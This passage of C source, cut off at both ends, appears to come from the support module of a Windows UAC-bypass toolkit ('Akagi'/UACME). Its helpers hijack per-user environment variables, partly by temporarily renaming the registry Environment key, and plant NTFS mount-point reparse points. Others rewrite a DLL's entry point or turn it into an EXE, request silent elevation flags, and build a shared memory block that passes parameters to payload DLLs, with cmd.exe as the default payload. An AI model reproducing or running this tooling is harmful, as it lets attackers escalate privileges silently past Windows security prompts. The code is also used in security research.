    BOOL        bNameAllocated = FALSE;
    DWORD       cbData;
    NTSTATUS    ntStatus = STATUS_UNSUCCESSFUL;
    LPWSTR      lpSubKey;
    HANDLE      hRoot = NULL, hSubKey = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING usRootKey, usSubKey, usValueName;

    usRootKey.Buffer = NULL;

    do {
        if (lpVariableName == NULL) {
            //
            // Nothing to set/remove.
            //
            break;
        }

        if ((lpVariableData == NULL) && (fRemove == FALSE))
            break;

        if (lpKeyName == NULL)
            lpSubKey = L"Environment";
        else
            lpSubKey = lpKeyName;

        ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
        if (!NT_SUCCESS(ntStatus))
            break;

        bNameAllocated = TRUE;

        InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
        ntStatus = NtOpenKey(&hRoot, MAXIMUM_ALLOWED, &obja);
        if (!NT_SUCCESS(ntStatus))
            break;

        RtlInitUnicodeString(&usSubKey, lpSubKey);
        obja.RootDirectory = hRoot;
        obja.ObjectName = &usSubKey;
        ntStatus = NtOpenKey(&hSubKey, MAXIMUM_ALLOWED, &obja);
        if (!NT_SUCCESS(ntStatus))
            break;

        RtlInitUnicodeString(&usValueName, lpVariableName);

        if (fRemove) {

            ntStatus = NtDeleteValueKey(hSubKey, &usValueName);

        }
        else {

            cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));

            ntStatus = NtSetValueKey(hSubKey,
                &usValueName,
                0,
                REG_SZ,
                (BYTE*)lpVariableData,
                cbData);

        }

        if (NT_SUCCESS(ntStatus)) {

            SendMessageTimeout(HWND_BROADCAST,
                WM_SETTINGCHANGE,
                0,
                (LPARAM)lpVariableName,
                SMTO_BLOCK,
                1000,
                NULL);

        }

    } while (FALSE);

    if (hSubKey) NtClose(hSubKey);
    if (hRoot) NtClose(hRoot);
    if (bNameAllocated)
        RtlFreeUnicodeString(&usRootKey);

    return NT_SUCCESS(ntStatus);
}

/*
* supSetEnvVariable
*
* Purpose:
*
* Remove or set current user environment variable.
*
*/
BOOL supSetEnvVariable(
    _In_ BOOL fRemove,
    _In_opt_ LPWSTR lpKeyName,
    _In_ LPCWSTR lpVariableName,
    _In_opt_ LPCWSTR lpVariableData
)
{
    BOOL    bResult = FALSE;
    HKEY    hKey = NULL;
    DWORD   cbData;

    LPWSTR lpSubKey;

    do {
        if (lpVariableName == NULL)
            break;

        if (lpKeyName == NULL)
            lpSubKey = L"Environment";
        else
            lpSubKey = lpKeyName;

        if ((lpVariableData == NULL) && (fRemove == FALSE))
            break;

        if (RegOpenKey(HKEY_CURRENT_USER, lpSubKey, &hKey) != ERROR_SUCCESS)
            break;

        if (fRemove) {
            bResult = (RegDeleteValue(hKey, lpVariableName) == ERROR_SUCCESS);
        }
        else {
            cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
            bResult = (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ,
                (BYTE*)lpVariableData, cbData) == ERROR_SUCCESS);

        }

        if (bResult) {
            SendMessageTimeout(HWND_BROADCAST,
                WM_SETTINGCHANGE,
                0,
                (LPARAM)lpVariableName,
                SMTO_BLOCK,
                1000,
                NULL);
        }

    } while (FALSE);

    if (hKey != NULL) {
        RegFlushKey(hKey);
        RegCloseKey(hKey);
    }

    return bResult;
}

/*
* supSetEnvVariable
*
* Purpose:
*
* Remove or set current user environment variable.
*
*/
BOOL supSetEnvVariable2(
    _In_ BOOL fRemove,
    _In_opt_ LPWSTR lpKeyName,
    _In_ LPCWSTR lpVariableName,
    _In_opt_ LPCWSTR lpVariableData
)
{
    BOOL    bResult = FALSE;
    HKEY    hKey = NULL;
    DWORD   cbData;

    LPWSTR lpSubKey;

    LARGE_INTEGER liValue;
    ULONG seedValue;
    WCHAR szNewKey[MAX_PATH];

    do {
        if (lpVariableName == NULL)
            break;

        if (lpKeyName == NULL)
            lpSubKey = L"Environment";
        else
            lpSubKey = lpKeyName;

        if ((lpVariableData == NULL) && (fRemove == FALSE))
            break;

        RtlSecureZeroMemory(&szNewKey, sizeof(szNewKey));
        seedValue = GetTickCount();
        liValue.LowPart = RtlRandomEx(&seedValue);
        seedValue = ~GetTickCount();
        liValue.HighPart = RtlRandomEx(&seedValue);

        supBinTextEncode(liValue.QuadPart, szNewKey);

        if (ERROR_SUCCESS == RegRenameKey(HKEY_CURRENT_USER, lpSubKey, szNewKey)) {

            if (ERROR_SUCCESS == RegOpenKey(HKEY_CURRENT_USER, szNewKey, &hKey)) {

                if (fRemove) {
                    bResult = (RegDeleteValue(hKey, lpVariableName) == ERROR_SUCCESS);
                }
                else {
                    cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
                    bResult = (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ,
                        (BYTE*)lpVariableData, cbData) == ERROR_SUCCESS);


                }

                RegFlushKey(hKey);
                RegCloseKey(hKey);
                hKey = NULL;

            }

            RegRenameKey(HKEY_CURRENT_USER, szNewKey, lpSubKey);
        }

        if (bResult) {
            SendMessageTimeout(HWND_BROADCAST,
                WM_SETTINGCHANGE,
                0,
                (LPARAM)lpVariableName,
                SMTO_BLOCK,
                1000,
                NULL);
        }

    } while (FALSE);

    if (hKey != NULL) {
        RegFlushKey(hKey);
        RegCloseKey(hKey);
    }

    return bResult;
}

/*
* supReplaceEnvironmentVariableValue
*
* Purpose:
*
* Replace/Restore environment variable value.
*
*/
_Success_(return)
BOOL supReplaceEnvironmentVariableValue(
    _In_opt_ LPWSTR lpKeyName,
    _In_ LPWSTR lpVariableName,
    _In_ DWORD dwType,
    _In_opt_ LPWSTR lpVariableData,
    _Out_opt_ PVOID *lpOldVariableData
)
{
    BOOL        bNameAllocated = FALSE, bDoBackup = (lpOldVariableData != NULL);
    DWORD       cbData;
    NTSTATUS    ntStatus = STATUS_UNSUCCESSFUL;
    LPWSTR      lpSubKey;
    HANDLE      hRoot = NULL, hSubKey = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING usRootKey, usSubKey, usValueName;

    usRootKey.Buffer = NULL;

    do {
        if (lpVariableName == NULL) {
            //
            // Nothing to replace.
            //
            break;
        }

        if (lpVariableData == NULL)
            break;

        if (lpKeyName == NULL)
            lpSubKey = L"Environment";
        else
            lpSubKey = lpKeyName;

        ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
        if (!NT_SUCCESS(ntStatus))
            break;

        bNameAllocated = TRUE;

        InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
        ntStatus = NtOpenKey(&hRoot, MAXIMUM_ALLOWED, &obja);
        if (!NT_SUCCESS(ntStatus))
            break;

        RtlInitUnicodeString(&usSubKey, lpSubKey);
        obja.RootDirectory = hRoot;
        obja.ObjectName = &usSubKey;
        ntStatus = NtOpenKey(&hSubKey, MAXIMUM_ALLOWED, &obja);
        if (!NT_SUCCESS(ntStatus))
            break;

        RtlInitUnicodeString(&usValueName, lpVariableName);


        if (bDoBackup) {

            cbData = 0;

            //
            // Read value, failure is not critical, value may not present.
            //
            supRegReadValue(hSubKey,
                lpVariableName,
                dwType,
                lpOldVariableData,
                &cbData,
                g_ctx->ucmHeap);

        }

        cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));

        ntStatus = NtSetValueKey(hSubKey,
            &usValueName,
            0,
            dwType,
            (BYTE*)lpVariableData,
            cbData);

        if (NT_SUCCESS(ntStatus)) {

            SendMessageTimeout(HWND_BROADCAST,
                WM_SETTINGCHANGE,
                0,
                (LPARAM)lpVariableName,
                SMTO_BLOCK,
                1000,
                NULL);

        }

    } while (FALSE);

    if (hSubKey) NtClose(hSubKey);
    if (hRoot) NtClose(hRoot);
    if (bNameAllocated)
        RtlFreeUnicodeString(&usRootKey);

    return NT_SUCCESS(ntStatus);
}

/*
* supDeleteMountPoint
*
* Purpose:
*
* Removes reparse point of type mount_point.
*
*/
BOOL supDeleteMountPoint(
    _In_ HANDLE hDirectory
)
{
    NTSTATUS        status;
    IO_STATUS_BLOCK IoStatusBlock;

    REPARSE_GUID_DATA_BUFFER Buffer;

    RtlSecureZeroMemory(&Buffer, sizeof(REPARSE_GUID_DATA_BUFFER));
    Buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;

    status = NtFsControlFile(hDirectory,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        FSCTL_DELETE_REPARSE_POINT,
        &Buffer,
        REPARSE_GUID_DATA_BUFFER_HEADER_SIZE,
        NULL,
        0);

    if (status == STATUS_NOT_A_REPARSE_POINT) {
        SetLastError(ERROR_INVALID_PARAMETER);
    }
    else {
        supSetLastErrorFromNtStatus(status);
    }

    return NT_SUCCESS(status);
}

/*
* supSetMountPoint
*
* Purpose:
*
* Install reparse point of type mount_point to target.
*
*/
BOOL supSetMountPoint(
    _In_ HANDLE hDirectory,
    _In_ LPCWSTR lpTarget,
    _In_ LPCWSTR lpPrintName
)
{
    ULONG           memIO;
    USHORT          cbTarget, cbPrintName, reparseDataLength;
    NTSTATUS        status;
    IO_STATUS_BLOCK IoStatusBlock;

    REPARSE_DATA_BUFFER* Buffer;

    if ((lpTarget == NULL) || (lpPrintName == NULL)) {
        SetLastError(ERROR_INVALID_PARAMETER);
        return FALSE;
    }

    //
    // Calculate required buffer size.
    // Header + length of input strings + safe space.
    //
    cbTarget = (USHORT)(_strlen(lpTarget) * sizeof(WCHAR));
    cbPrintName = (USHORT)(_strlen(lpPrintName) * sizeof(WCHAR));

    reparseDataLength = cbTarget + cbPrintName + 12;
    memIO = (ULONG)(reparseDataLength + REPARSE_DATA_BUFFER_HEADER_LENGTH);

    Buffer = (REPARSE_DATA_BUFFER*)supHeapAlloc((SIZE_T)memIO);
    if (Buffer == NULL)
        return FALSE;

    //
    // Setup reparse point structure.
    //
    Buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    Buffer->ReparseDataLength = reparseDataLength;

    //
    // Add Target to PathBuffer.
    //
    Buffer->MountPointReparseBuffer.SubstituteNameOffset = 0;
    Buffer->MountPointReparseBuffer.SubstituteNameLength = cbTarget;

    RtlCopyMemory(Buffer->MountPointReparseBuffer.PathBuffer,
        lpTarget,
        cbTarget);

    //
    // Add PrintName to PathBuffer.
    //
    Buffer->MountPointReparseBuffer.PrintNameOffset = cbTarget + sizeof(UNICODE_NULL);
    Buffer->MountPointReparseBuffer.PrintNameLength = cbPrintName;

    RtlCopyMemory(&Buffer->MountPointReparseBuffer.PathBuffer[(cbTarget / sizeof(WCHAR)) + 1],
        lpPrintName,
        cbPrintName);

    //
    // Set reparse point.
    //
    status = NtFsControlFile(hDirectory,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        FSCTL_SET_REPARSE_POINT,
        Buffer,
        memIO,
        NULL,
        0);

    supHeapFree(Buffer);

    supSetLastErrorFromNtStatus(status);
    return NT_SUCCESS(status);
}

/*
* supOpenDirectoryForReparse
*
* Purpose:
*
* Open directory handle to set reparse point.
*
*/
HANDLE supOpenDirectoryForReparse(
    _In_ LPCWSTR lpDirectory
)
{
    NTSTATUS            status = STATUS_UNSUCCESSFUL;
    HANDLE              hReparseDirectory = NULL;
    UNICODE_STRING      usReparseDirectory;
    IO_STATUS_BLOCK     IoStatusBlock;
    OBJECT_ATTRIBUTES   ObjectAttributes;

    usReparseDirectory.Buffer = NULL;
    if (RtlDosPathNameToNtPathName_U(lpDirectory, &usReparseDirectory, NULL, NULL)) {

        InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);

        status = NtCreateFile(&hReparseDirectory,
            FILE_ALL_ACCESS,
            &ObjectAttributes,
            &IoStatusBlock,
            NULL,
            0,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            FILE_OPEN,
            FILE_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT,
            NULL,
            0);

        RtlFreeUnicodeString(&usReparseDirectory);
    }

    supSetLastErrorFromNtStatus(status);

    return hReparseDirectory;
}

/*
* supWinstationToName
*
* Purpose:
*
* Retrieves winstation string name.
*
*/
BOOL supWinstationToName(
    _In_opt_ HWINSTA hWinsta,
    _In_ LPWSTR lpBuffer,
    _In_ DWORD cbBuffer,
    _Out_ PDWORD BytesNeeded
)
{
    HWINSTA hObject;

    if (hWinsta == NULL)
        hObject = GetProcessWindowStation();
    else
        hObject = hWinsta;

    return GetUserObjectInformation(
        hObject,
        UOI_NAME,
        lpBuffer,
        cbBuffer,
        BytesNeeded);
}

/*
* supDesktopToName
*
* Purpose:
*
* Retrieves desktop string name.
*
*/
BOOL supDesktopToName(
    _In_opt_ HDESK hDesktop,
    _In_ LPWSTR lpBuffer,
    _In_ DWORD cbBuffer,
    _Out_ PDWORD BytesNeeded
)
{
    HDESK hObject;

    if (hDesktop == NULL)
        hObject = GetThreadDesktop(GetCurrentThreadId());
    else
        hObject = hDesktop;

    return GetUserObjectInformation(
        hObject,
        UOI_NAME,
        lpBuffer,
        cbBuffer,
        BytesNeeded);
}

/*
* supReplaceDllEntryPoint
*
* Purpose:
*
* Replace DLL entry point and optionally convert dll to exe.
*
*/
BOOL supReplaceDllEntryPoint(
    _In_ PVOID DllImage,
    _In_ ULONG SizeOfDllImage,
    _In_ LPCSTR lpEntryPointName,
    _In_ BOOL fConvertToExe
)
{
    BOOL bResult = FALSE;
    PIMAGE_NT_HEADERS NtHeaders;
    DWORD DllVirtualSize;
    PVOID DllBase, EntryPoint;

    NtHeaders = RtlImageNtHeader(DllImage);
    if (NtHeaders) {

        DllVirtualSize = 0;
        DllBase = PELoaderLoadImage(DllImage, &DllVirtualSize);
        if (DllBase) {
            //
            // Get the new entrypoint.
            //
            EntryPoint = PELoaderGetProcAddress(DllBase, (PCHAR)lpEntryPointName);
            if (EntryPoint) {
                //
                // Set new entrypoint and recalculate checksum.
                //
                NtHeaders->OptionalHeader.AddressOfEntryPoint =
                    (ULONG)((ULONG_PTR)EntryPoint - (ULONG_PTR)DllBase);

                if (fConvertToExe)
                    NtHeaders->FileHeader.Characteristics &= ~IMAGE_FILE_DLL;

                NtHeaders->OptionalHeader.CheckSum =
                    supCalculateCheckSumForMappedFile(DllImage, SizeOfDllImage);

                bResult = TRUE;
            }
            VirtualFree(DllBase, 0, MEM_RELEASE);
        }
    }
    return bResult;
}

/*
* supQuerySystemRoot
*
* Purpose:
*
* Query system root value from registry to the program global context.
*
*/
BOOL supQuerySystemRoot(
    _Inout_ PVOID Context)
{
    BOOL                bResult = FALSE, needBackslash = FALSE;
    NTSTATUS            Status;
    UNICODE_STRING      UString;
    OBJECT_ATTRIBUTES   ObjectAttributes;

    PWCHAR              lpData = NULL;
    SIZE_T              ccm = 0, cch = 0;
    HANDLE              hKey = NULL;

    PUACMECONTEXT       context = (PUACMECONTEXT)Context;

    WCHAR               szBuffer[MAX_PATH];
    WCHAR               szSystem32Prep[] = { L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', 0 };

    ULONG               Length = 0, cbSystem32Prep = sizeof(szSystem32Prep) - sizeof(WCHAR);

    do {
        _strcpy(szBuffer, T_REGISTRY_PREP);
        _strcat(szBuffer, T_WINDOWS_CURRENT_VERSION);
        RtlInitUnicodeString(&UString, szBuffer);

        InitializeObjectAttributes(&ObjectAttributes, &UString, OBJ_CASE_INSENSITIVE, NULL, NULL);
        Status = NtOpenKey(&hKey, KEY_READ, &ObjectAttributes);
        if (!NT_SUCCESS(Status))
            break;

        Status = supRegReadValue(hKey, L"SystemRoot", REG_SZ, (PVOID*)&lpData, &Length, context->ucmHeap);
        if (!NT_SUCCESS(Status) || (lpData == NULL))
            break;

        cch = _strlen(lpData);
        if (cch == 0) {
            SetLastError(ERROR_INVALID_DATA);
            break;
        }

        needBackslash = (lpData[cch - 1] != L'\\');
        ccm = cch + (needBackslash ? 1 : 0) + (cbSystem32Prep / sizeof(WCHAR));

        if (ccm >= MAX_PATH) {
            SetLastError(ERROR_BUFFER_OVERFLOW);
            break;
        }

        _strncpy(context->szSystemRoot, MAX_PATH, lpData, cch + 1);
        if (needBackslash) {
            context->szSystemRoot[cch] = L'\\';
            context->szSystemRoot[cch + 1] = UNICODE_NULL;
        }

        _strcpy(context->szSystemDirectory, context->szSystemRoot);
        _strcat(context->szSystemDirectory, szSystem32Prep);

        bResult = TRUE;

    } while (FALSE);

    if (hKey) NtClose(hKey);
    if (lpData) RtlFreeHeap(context->ucmHeap, 0, lpData);

    return bResult;
}

#define SI_MAX_BUFFER_LENGTH (512 * 1024 * 1024)

/*
* supGetSystemInfo
*
* Purpose:
*
* Returns buffer with system information by given InfoClass.
*
* Returned buffer must be freed with supHeapFree after usage.
*
*/
PVOID supGetSystemInfo(
    _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass
)
{
    PVOID       buffer = NULL;
    ULONG       bufferSize = PAGE_SIZE;
    NTSTATUS    ntStatus;
    ULONG       returnedLength = 0;

    buffer = supHeapAlloc((SIZE_T)bufferSize);
    if (buffer == NULL)
        return NULL;

    while ((ntStatus = NtQuerySystemInformation(
        SystemInformationClass,
        buffer,
        bufferSize,
        &returnedLength)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        supHeapFree(buffer);
        bufferSize *= 2;

        if (bufferSize > SI_MAX_BUFFER_LENGTH)
            return NULL;

        buffer = supHeapAlloc((SIZE_T)bufferSize);
        if (buffer == NULL)
            return NULL;
    }

    if (NT_SUCCESS(ntStatus)) {
        return buffer;
    }

    if (buffer)
        supHeapFree(buffer);

    return NULL;
}

/*
* supIsCorImageFile
*
* Purpose:
*
* Return true if image has CliHeader entry, false otherwise.
*
*/
BOOL supIsCorImageFile(
    _In_ PVOID ImageBase
)
{
    ULONG               sz = 0;
    IMAGE_COR20_HEADER* CliHeader;

    CliHeader = (IMAGE_COR20_HEADER*)RtlImageDirectoryEntryToData(ImageBase, TRUE,
        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR, &sz);

    return ((CliHeader != NULL) && (sz >= sizeof(IMAGE_COR20_HEADER)));
}

/*
* supCreateDirectory
*
* Purpose:
*
* Native create directory.
*
*/
NTSTATUS supCreateDirectory(
    _Out_opt_ PHANDLE phDirectory,
    _In_ OBJECT_ATTRIBUTES* ObjectAttributes,
    _In_ ULONG DirectoryShareFlags,
    _In_ ULONG DirectoryAttributes
)
{
    NTSTATUS         status;
    HANDLE           DirectoryHandle = NULL;
    IO_STATUS_BLOCK  IoStatusBlock;

    if (DirectoryAttributes == 0)
        DirectoryAttributes = FILE_ATTRIBUTE_NORMAL;

    status = NtCreateFile(
        &DirectoryHandle,
        FILE_GENERIC_WRITE,
        ObjectAttributes,
        &IoStatusBlock,
        NULL,
        DirectoryAttributes,
        DirectoryShareFlags,
        FILE_OPEN_IF,
        FILE_DIRECTORY_FILE,
        NULL,
        0);

    if (NT_SUCCESS(status)) {
        if (phDirectory)
            *phDirectory = DirectoryHandle;
    }
    return status;
}

/*
* supxCreateBoundaryDescriptorSID
*
* Purpose:
*
* Create special SID to access isolated namespace.
*
*/
PSID supxCreateBoundaryDescriptorSID(
    SID_IDENTIFIER_AUTHORITY* SidAuthority,
    UCHAR SubAuthorityCount,
    ULONG* SubAuthorities
)
{
    BOOL    bResult = FALSE;
    ULONG   i;
    PSID    pSid = NULL;

    do {

        pSid = supHeapAlloc(RtlLengthRequiredSid(SubAuthorityCount));
        if (pSid == NULL)
            break;

        if (!NT_SUCCESS(RtlInitializeSid(pSid, SidAuthority, SubAuthorityCount)))
            break;

        for (i = 0; i < SubAuthorityCount; i++)
            *RtlSubAuthoritySid(pSid, i) = SubAuthorities[i];

        bResult = TRUE;

    } while (FALSE);

    if (bResult == FALSE) {
        if (pSid) supHeapFree(pSid);
        pSid = NULL;
    }

    return pSid;
}

/*
* supCreateSharedParametersBlock
*
* Purpose:
*
* Create parameters block to be shared with payload dlls.
*
*/
BOOL supCreateSharedParametersBlock(
    _In_ PVOID ucmContext)
{
    BOOL    bResult = FALSE;
    ULONG   r;
    HANDLE  hBoundary = NULL;
    PVOID   SharedBuffer = NULL;
    SIZE_T  ViewSize;

    PUACMECONTEXT context = (PUACMECONTEXT)ucmContext;

    LARGE_INTEGER liSectionSize;
    PSID pWorldSid = NULL;

    SID_IDENTIFIER_AUTHORITY SidWorldAuthority = SECURITY_WORLD_SID_AUTHORITY;

    UNICODE_STRING usName;
    OBJECT_ATTRIBUTES obja = RTL_INIT_OBJECT_ATTRIBUTES((PUNICODE_STRING)NULL, 0);

    UACME_PARAM_BLOCK ParamBlock;

    ULONG SubAuthoritiesWorld[] = { SECURITY_WORLD_RID };

    WCHAR szBoundaryDescriptorName[128];
    WCHAR szObjectName[128];

    RtlSecureZeroMemory(&szBoundaryDescriptorName, sizeof(szBoundaryDescriptorName));
    supGenerateSharedObjectName((WORD)AKAGI_BDESCRIPTOR_NAME_ID, szBoundaryDescriptorName);
    RtlInitUnicodeString(&usName, szBoundaryDescriptorName);

    //
    // Fill parameters block.
    // 
    RtlSecureZeroMemory(&ParamBlock, sizeof(ParamBlock));

    if (context->OptionalParameterLength != 0) {
        _strncpy(ParamBlock.szParameter, MAX_PATH,
            context->szOptionalParameter, MAX_PATH);
    }

    ParamBlock.AkagiFlag = context->AkagiFlag;
    ParamBlock.SessionId = NtCurrentPeb()->SessionId;

    supWinstationToName(NULL, ParamBlock.szWinstation, MAX_PATH * 2, &r);
    supDesktopToName(NULL, ParamBlock.szDesktop, MAX_PATH * 2, &r);

    do {
        //
        // Create and assign boundary descriptor.
        //
        hBoundary = RtlCreateBoundaryDescriptor(&usName, 0);
        if (hBoundary == NULL)
            break;

        pWorldSid = supxCreateBoundaryDescriptorSID(
            &SidWorldAuthority,
            1,
            SubAuthoritiesWorld);
        if (pWorldSid == NULL)
            break;

        if (!NT_SUCCESS(RtlAddSIDToBoundaryDescriptor(&hBoundary, pWorldSid))) {
            break;
        }

        //
        // Create private namespace.
        //
        if (!NT_SUCCESS(NtCreatePrivateNamespace(
            &context->SharedContext.hIsolatedNamespace,
            MAXIMUM_ALLOWED,
            &obja,
            hBoundary)))
        {
            break;
        }

        obja.Attributes = OBJ_CASE_INSENSITIVE;
        obja.RootDirectory = context->SharedContext.hIsolatedNamespace;
        obja.ObjectName = &usName;

        //
        // Create completion event.
        //
        RtlSecureZeroMemory(&szObjectName, sizeof(szObjectName));
        supGenerateSharedObjectName((WORD)AKAGI_COMPLETION_EVENT_ID, szObjectName);
        RtlInitUnicodeString(&usName, szObjectName);
        _strcpy(ParamBlock.szSignalObject, szObjectName);

        //
        // Param block is complete. Calc crc32.
        //
        ParamBlock.Crc32 = RtlComputeCrc32(0, &ParamBlock, sizeof(ParamBlock));

        if (!NT_SUCCESS(NtCreateEvent(
            &context->SharedContext.hCompletionEvent,
            EVENT_ALL_ACCESS,
            &obja,
            NotificationEvent,
            FALSE)))
        {
            break;
        }

        //
        // Create shared section.
        //
        liSectionSize.QuadPart = PAGE_SIZE;
        ViewSize = PAGE_SIZE;

        RtlSecureZeroMemory(&szObjectName, sizeof(szObjectName));
        supGenerateSharedObjectName((WORD)AKAGI_SHARED_SECTION_ID, szObjectName);
        RtlInitUnicodeString(&usName, szObjectName);

        if (NT_SUCCESS(NtCreateSection(
            &context->SharedContext.hSharedSection,
            SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_QUERY,
            &obja,
            &liSectionSize,
            PAGE_READWRITE,
            SEC_COMMIT,
            NULL)))
        {
            //
            // Write data to shared section.
            //
            if (NT_SUCCESS(NtMapViewOfSection(
                context->SharedContext.hSharedSection,
                NtCurrentProcess(),
                &SharedBuffer,
                0,
                PAGE_SIZE,
                NULL,
                &ViewSize,
                ViewUnmap,
                MEM_TOP_DOWN,
                PAGE_READWRITE)))
            {
                RtlSecureZeroMemory(SharedBuffer, PAGE_SIZE);
                RtlCopyMemory(SharedBuffer, &ParamBlock, sizeof(ParamBlock));
                NtUnmapViewOfSection(NtCurrentProcess(), SharedBuffer);
                bResult = TRUE;
            }
        }


    } while (FALSE);

    //
    // Cleanup.
    //
    if (pWorldSid)
        supHeapFree(pWorldSid);
    if (hBoundary)
        RtlDeleteBoundaryDescriptor(hBoundary);

    if (bResult == FALSE) {
        if (context->SharedContext.hIsolatedNamespace) {
            NtDeletePrivateNamespace(context->SharedContext.hIsolatedNamespace);
            NtClose(context->SharedContext.hIsolatedNamespace);
        }
    }

    return bResult;
}

/*
* supDestroySharedParametersBlock
*
* Purpose:
*
* Free shared resources.
*
*/
VOID supDestroySharedParametersBlock(
    _In_ PVOID ucmContext)
{
    PUACMECONTEXT context = (PUACMECONTEXT)ucmContext;

    if (context->SharedContext.hIsolatedNamespace) {

        if (context->SharedContext.hCompletionEvent)
            NtClose(context->SharedContext.hCompletionEvent);

        if (context->SharedContext.hSharedSection)
            NtClose(context->SharedContext.hSharedSection);

        NtDeletePrivateNamespace(context->SharedContext.hIsolatedNamespace);
        NtClose(context->SharedContext.hIsolatedNamespace);
    }
}

/*
* supCreateUacmeContext
*
* Purpose:
*
* Allocate and fill program contexts.
*
*/
PVOID supCreateUacmeContext(
    _In_ ULONG Method,
    _In_reads_or_z_opt_(OptionalParameterLength) LPWSTR OptionalParameter,
    _In_ ULONG OptionalParameterLength,
    _In_ PVOID DecompressRoutine
)
{
    BOOLEAN IsWow64;
    ULONG Seed, NtBuildNumber = 0;
    PUACMECONTEXT Context;
    HANDLE ContextHeap = NtCurrentPeb()->ProcessHeap;
#ifdef _UCM_CONSOLE
    HMODULE hNtdll;
#endif
    RTL_OSVERSIONINFOW osv;

    UNREFERENCED_PARAMETER(Method);

    if (OptionalParameterLength > MAX_PATH)
        return NULL;

    IsWow64 = supIsProcess32bit(NtCurrentProcess());

    RtlSecureZeroMemory(&osv, sizeof(osv));
    osv.dwOSVersionInfoSize = sizeof(osv);
    RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
    NtBuildNumber = osv.dwBuildNumber;

    if (NtBuildNumber < NT_WIN7_RTM) {
        return NULL;
    }

    Context = RtlAllocateHeap(ContextHeap, HEAP_ZERO_MEMORY, sizeof(UACMECONTEXT));
    if (Context == NULL) {
        return NULL;
    }

    //
    // Create private heap, enable termination on corruption.
    //
    Context->ucmHeap = RtlCreateHeap(HEAP_GROWABLE, NULL, 0, 0, NULL, NULL);
    if (Context->ucmHeap == NULL) {
        RtlFreeHeap(ContextHeap, 0, Context);
        return NULL;
    }
    RtlSetHeapInformation(Context->ucmHeap, HeapEnableTerminationOnCorruption, NULL, 0);

    //
    // Set Fubuki flag.
    //
    Context->AkagiFlag = AKAGI_FLAG_KILO;

    //
    // Remember NtBuildNumber.
    //
    Context->dwBuildNumber = NtBuildNumber;

    //
    // Set Cookie for supEncode/DecodePointer.
    //
    Seed = USER_SHARED_DATA->Cookie;
    Context->Cookie = RtlRandomEx((PULONG)&Seed);

    //
    // Remember Wow64 process state.
    //
    Context->IsWow64 = IsWow64;

    //
    // Save OptionalParameter if present.
    //
    if (OptionalParameterLength) {
        _strncpy(Context->szOptionalParameter, MAX_PATH,
            OptionalParameter, OptionalParameterLength);
        Context->OptionalParameterLength = OptionalParameterLength;
    }

    //
    // Set IFileOperations flags.
    //
    if (NtBuildNumber > 14997) {
        Context->IFileOperationFlags = FOF_NOCONFIRMATION |
            FOFX_NOCOPYHOOKS |
            FOFX_REQUIREELEVATION;
    }
    else {
        Context->IFileOperationFlags = FOF_NOCONFIRMATION |
            FOF_SILENT |
            FOFX_SHOWELEVATIONPROMPT |
            FOFX_NOCOPYHOOKS |
            FOFX_REQUIREELEVATION;
    }

    //
    // Query basic directories.
    //       
    // 1. SystemRoot
    // 2. System32
    if (!supQuerySystemRoot(Context)) {
        RtlDestroyHeap(Context->ucmHeap);
        RtlFreeHeap(ContextHeap, 0, Context);
        return NULL;
    }
    // 3. Temp
    supExpandEnvironmentStrings(L"%temp%\\", Context->szTempDirectory, MAX_PATH);

    // 4. Current directory
    if (GetCurrentDirectory(MAX_PATH, Context->szCurrentDirectory) < MAX_PATH) {
        supPathAddBackSlash(Context->szCurrentDirectory);
    }

    //
    // Default payload path.
    //
    _strcpy(Context->szDefaultPayload, Context->szSystemDirectory);
    _strcat(Context->szDefaultPayload, CMD_EXE);

    Context->DecompressRoutine = (pfnDecompressPayload)supDecodePointer(DecompressRoutine);

#ifdef _UCM_CONSOLE
    hNtdll = GetModuleHandle(L"ntdll.dll");
    if (hNtdll) {
        Context->swprintf_s = (pswprintf_s)GetProcAddress(hNtdll, "swprintf_s");
    }
#else
    Context->swprintf_s = (PVOID)-1;
#endif

    return (PVOID)Context;
}

/*
* supDestroyUacmeContext
*
* Purpose:
*
* Destroy program contexts.
*
*/
VOID supDestroyUacmeContext(
    _In_ PVOID Context
)
{
    PUACMECONTEXT context = (PUACMECONTEXT)Context;

    RtlDestroyHeap(context->ucmHeap);

    RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Context);
}

/*
* supDecodeAndWriteBufferToFile
*
* Purpose:
*
* Create new file and write decoded buffer to it.
*
*/
BOOL supDecodeAndWriteBufferToFile(
    _In_ LPWSTR lpFileName,
    _In_ CONST PVOID Buffer,
    _In_ DWORD BufferSize,
    _In_ ULONG Key
)
{
    BOOL bResult;
    PVOID p;
    SIZE_T Size = ALIGN_UP_BY(BufferSize, PAGE_SIZE);

    p = supVirtualAlloc(&Size, DEFAULT_ALLOCATION_TYPE | MEM_TOP_DOWN, DEFAULT_PROTECT_TYPE, NULL);
    if (p) {
        RtlCopyMemory(p, Buffer, BufferSize);

        EncodeBuffer(p, BufferSize, Key);

        bResult = supWriteBufferToFile(lpFileName, p, BufferSize);

